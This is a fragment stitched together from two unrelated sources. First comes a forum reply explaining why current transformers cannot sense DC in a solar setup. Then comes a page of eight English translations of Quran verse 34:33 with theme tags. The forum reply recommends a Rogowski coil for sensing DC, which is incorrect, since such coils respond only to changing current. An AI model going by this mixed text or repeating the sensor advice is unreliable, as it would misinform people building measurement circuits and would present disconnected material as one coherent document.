(efficiency might be defined as closed circuit current in the secondary given fixed current in the primary)
Re: CT sensor inaccuracy due to triac
NO TRANSFORMER WORKS ON DIRECT CURRENT.
People have tried, usually by accident, and the result is blown fuses (hopefully) or a burned-out primary winding.
In the case of a small c.t. like the yhdc split-core type, the result would be no output - because of course a transformer works on the rate of change of flux in the core. And with d.c in the primary, the flux would be unchanging.
If you need to sense d.c. (your P.V. output?) you either need a shunt as mentioned above, which with the voltage needed to drive the Arduino input will result in a lot of wasted power, or you need a Rogowski Coil <edit> or a Hall Effect sensor </edit> and the associated electronics.


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| 034:033 Khan | : |
Those who were deemed weak will say to those who were arrogant: "Nay, but it was your plotting by night and day, when you ordered us to disbelieve in Allah and set up rivals to Him!" And each of them (parties) will conceal their own regrets (for disobeying Allah during this worldly life), when they behold the torment. And We shall put iron collars round the necks of those who disbelieved. Are they requited aught except what they used to do? |
| 034:033 Maulana | : |
And those who were deemed weak say to those who were proud: Nay, (it was your) planning by night and day when you told us to disbelieve in Allah and to set up likes with Him.  And We put shackles on the necks of those who disbelieve. They will not be requited but for what they did. |
| 034:033 Pickthal | : |
Those who were despised say unto those who were proud: Nay but (it was your) scheming night and day, when ye commanded us to disbelieve in Allah and set up rivals unto Him. And they are filled with remorse when they behold the doom; and We place carcans on the necks of those who disbelieved. Are they requited aught save what they used to do? |
| 034:033 Rashad | : |
The followers will say to their leaders, "It was you who schemed night and day, then commanded us to be unappreciative of GOD, and to set up idols to rank with Him." They will be ridden with remorse, when they see the retribution, for we will place shackles around the necks of those who disbelieved. Are they not justly requited for what they did? |
| 034:033 Sarwar | : |
The oppressed ones will say to them, "It was you who planned night and day, ordering us to disbelieve God, and consider other things equal to Him." They will hide their regret on seeing their torment. We shall chain the necks of the disbelievers. Can they be recompensed with other than what they deserved for their deeds? |
| 034:033 Shakir | : |
And those who were deemed weak shall say to those who were proud. Nay, (it was) planning by night and day when you told us to disbelieve in Allah and to set up likes with Him. And they shall conceal regret when they shall see the punishment; and We will put shackles on the necks of those who disbelieved; they shall not be requited but what they did. |
| 034:033 Sherali | : |
And those who were deemed weak will say to those who were proud, 'Nay, but it was your scheming night and day, when you bade us disbelieve in ALLAH and set up equals with HIM.' And they will conceal their remorse when they see the punishment; and WE shall put chains round the necks of those who disbelieved. They will not be requited but for what they did. |
| 034:033 Yusufali | : |
Those who had been despised will say to the arrogant ones: "Nay! it was a plot (of yours) by day and by night: Behold! Ye (constantly) ordered us to be ungrateful to Allah and to attribute equals to Him!" They will declare (their) repentance when they see the Penalty: We shall put yokes on the necks of the Unbelievers: It would only be a requital for their (ill) Deeds. |
Concepts/Themes Covered: أركان الإسلام > التوحيد > الكافرون > تخلي المتبوعين عن الأتباع Pillars of Islam> Islamic> The Disbelievers> The Masters' Abandonment of the Followers أركان الإسلام > التوحيد > الكافرون > جزاء مكر الكفار Pillars of Islam> Islamic> The Disbelievers> The Penalty of the Disbelievers Cunning الإنسان والعلاقات الأخلاقية > الأخلاق الذميمة > المكر Man and The Moral Relations>The Dispraised Morals>Cunning الإنسان والعلاقات الاجتماعية > المجتمعات > التفاضل بينها Man and The Social Relations>The Societies>Preference Among them
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.